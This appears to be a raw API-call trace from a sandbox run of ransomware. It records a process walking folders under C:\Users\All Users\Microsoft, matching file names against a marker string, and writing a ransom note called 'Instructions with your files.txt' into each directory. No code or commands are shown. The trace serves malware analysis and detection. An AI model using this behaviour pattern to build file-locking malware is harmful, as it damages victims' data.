[0131.884] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0131.884] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
[0131.884] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Instructions with your files.txt") returned 90
[0131.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.884] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.885] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.885] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.885] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.885] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.885] CloseHandle (hObject=0x118) returned 1
[0131.885] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.885] GetProcessHeap () returned 0x810000
[0131.885] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.885] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bcfbc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.885] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Instructions with your files.txt") returned 77
[0131.885] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.885] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
[0131.885] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp") returned 49
[0131.885] GetProcessHeap () returned 0x810000
[0131.885] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.885] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*") returned 51
[0131.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.886] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\.") returned 51
[0131.886] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.886] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\..") returned 52
[0131.886] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bcfbc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.886] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Instructions with your files.txt") returned 82
[0131.886] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.886] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bcfbc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.886] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Instructions with your files.txt") returned 82
[0131.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.886] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.887] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.887] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.887] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.887] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.887] CloseHandle (hObject=0x118) returned 1
[0131.887] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.887] GetProcessHeap () returned 0x810000
[0131.887] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.887] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
[0131.887] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Instructions with your files.txt") returned 77
[0131.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.888] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.888] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.889] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.889] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.889] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.889] CloseHandle (hObject=0x114) returned 1
[0131.889] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.889] GetProcessHeap () returned 0x810000
[0131.889] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.889] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bcfbc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.889] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Instructions with your files.txt") returned 72
[0131.889] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.889] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bcfbc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.889] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Instructions with your files.txt") returned 72
[0131.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\search\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.889] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.890] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.890] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.890] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.890] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.890] CloseHandle (hObject=0x110) returned 1
[0131.891] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.891] GetProcessHeap () returned 0x810000
[0131.891] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.891] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
[0131.891] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned 54
[0131.891] GetProcessHeap () returned 0x810000
[0131.891] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.891] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*") returned 56
[0131.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.891] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\.") returned 56
[0131.891] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.891] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\..") returned 57
[0131.891] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1
[0131.891] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned 79
[0131.891] StrStrIW (lpFirst="5p5NrGJn0jS HALPmcxz.dat", lpSrch="SDfghjkl") returned 0x0
[0131.891] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1
[0131.891] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned 71
[0131.891] GetProcessHeap () returned 0x810000
[0131.891] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.891] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned 73
[0131.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\.") returned 73
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\..") returned 74
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2bf5d20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2bf5d20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bf5d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Instructions with your files.txt") returned 104
[0131.892] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile10.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile11.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile12.bmp", lpSrch="SDfghjkl") returned 0x0
